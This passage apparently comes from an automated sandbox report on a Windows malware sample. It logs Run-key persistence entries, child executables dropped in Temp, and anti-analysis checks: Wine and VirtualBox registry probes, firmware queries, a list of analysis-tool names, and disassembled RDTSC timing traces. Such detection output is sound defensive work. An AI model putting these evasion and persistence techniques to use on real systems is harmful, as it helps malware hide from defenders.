Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8be8d9c4e9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8639af97b9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8639af97b9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ca19a76c8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ca19a76c8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 093821f656.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 093821f656.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 741343eac3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 741343eac3.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_3-9748

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF398 second address: 6DEB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007F6B550CB116h 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 stc 0x00000012 push dword ptr [ebp+122D04EDh] 0x00000018 jc 00007F6B550CB10Dh 0x0000001e call dword ptr [ebp+122D36D2h] 0x00000024 pushad 0x00000025 add dword ptr [ebp+122D2BA1h], ebx 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D2BA1h], ebx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 sub dword ptr [ebp+122D3282h], eax 0x0000003d mov dword ptr [ebp+122D37A7h], eax 0x00000043 mov dword ptr [ebp+122D2001h], edx 0x00000049 mov esi, 0000003Ch 0x0000004e or dword ptr [ebp+122D1F1Eh], esi 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 js 00007F6B550CB10Ch 0x0000005e or dword ptr [ebp+122D3282h], edi 0x00000064 cmc 0x00000065 lodsw 0x00000067 mov dword ptr [ebp+122D2BA1h], esi 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1FF0h], esi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b ja 00007F6B550CB10Eh 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F6B550CB118h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851766 second address: 85177C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F6B55D157CEh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8506E5 second address: 850703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6B550CB113h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850703 second address: 85070F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6B55D157C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840CDC second address: 840CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8509B5 second address: 8509BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8509BA second address: 8509C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8509C0 second address: 8509CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6B55D157C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850DEE second address: 850DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F6B550CB106h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850F28 second address: 850F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850F2E second address: 850F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853776 second address: 85377A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85377A second address: 85379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F6B550CB10Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jp 00007F6B550CB114h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85379E second address: 8537A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8537A2 second address: 6DEB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F6B550CB108h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jnp 00007F6B550CB10Ch 0x00000027 sub dword ptr [ebp+122D2BA6h], esi 0x0000002d jmp 00007F6B550CB112h 0x00000032 push dword ptr [ebp+122D04EDh] 0x00000038 mov dword ptr [ebp+122D3692h], eax 0x0000003e call dword ptr [ebp+122D36D2h] 0x00000044 pushad 0x00000045 add dword ptr [ebp+122D2BA1h], ebx 0x0000004b xor eax, eax 0x0000004d sub dword ptr [ebp+122D2BA1h], ebx 0x00000053 mov edx, dword ptr [esp+28h] 0x00000057 sub dword ptr [ebp+122D3282h], eax 0x0000005d mov dword ptr [ebp+122D37A7h], eax 0x00000063 mov dword ptr [ebp+122D2001h], edx 0x00000069 mov esi, 0000003Ch 0x0000006e or dword ptr [ebp+122D1F1Eh], esi 0x00000074 add esi, dword ptr [esp+24h] 0x00000078 js 00007F6B550CB10Ch 0x0000007e or dword ptr [ebp+122D3282h], edi 0x00000084 cmc 0x00000085 lodsw 0x00000087 mov dword ptr [ebp+122D2BA1h], esi 0x0000008d add eax, dword ptr [esp+24h] 0x00000091 mov dword ptr [ebp+122D1FF0h], esi 0x00000097 mov ebx, dword ptr [esp+24h] 0x0000009b ja 00007F6B550CB10Eh 0x000000a1 nop 0x000000a2 push eax 0x000000a3 push edx 0x000000a4 jmp 00007F6B550CB118h 0x000000a9 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853807 second address: 85380B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85380B second address: 853828 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853828 second address: 853862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B55D157D0h 0x00000008 jne 00007F6B55D157C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov dword ptr [ebp+122D3282h], ecx 0x0000001a push 00000000h 0x0000001c push BB46C324h 0x00000021 push eax 0x00000022 push edx 0x00000023 jp 00007F6B55D157CCh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853862 second address: 853868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853868 second address: 853900 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 44B93D5Ch 0x0000000f mov esi, ecx 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F6B55D157C8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000003h 0x00000031 jmp 00007F6B55D157D0h 0x00000036 push 97085616h 0x0000003b pushad 0x0000003c jmp 00007F6B55D157D5h 0x00000041 push esi 0x00000042 jmp 00007F6B55D157D1h 0x00000047 pop esi 0x00000048 popad 0x00000049 add dword ptr [esp], 28F7A9EAh 0x00000050 mov dword ptr [ebp+122D1FF6h], edi 0x00000056 lea ebx, dword ptr [ebp+12448659h] 0x0000005c mov dl, 21h 0x0000005e mov ecx, ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edi 0x00000064 pushad 0x00000065 popad 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853956 second address: 85395C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85395C second address: 853962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
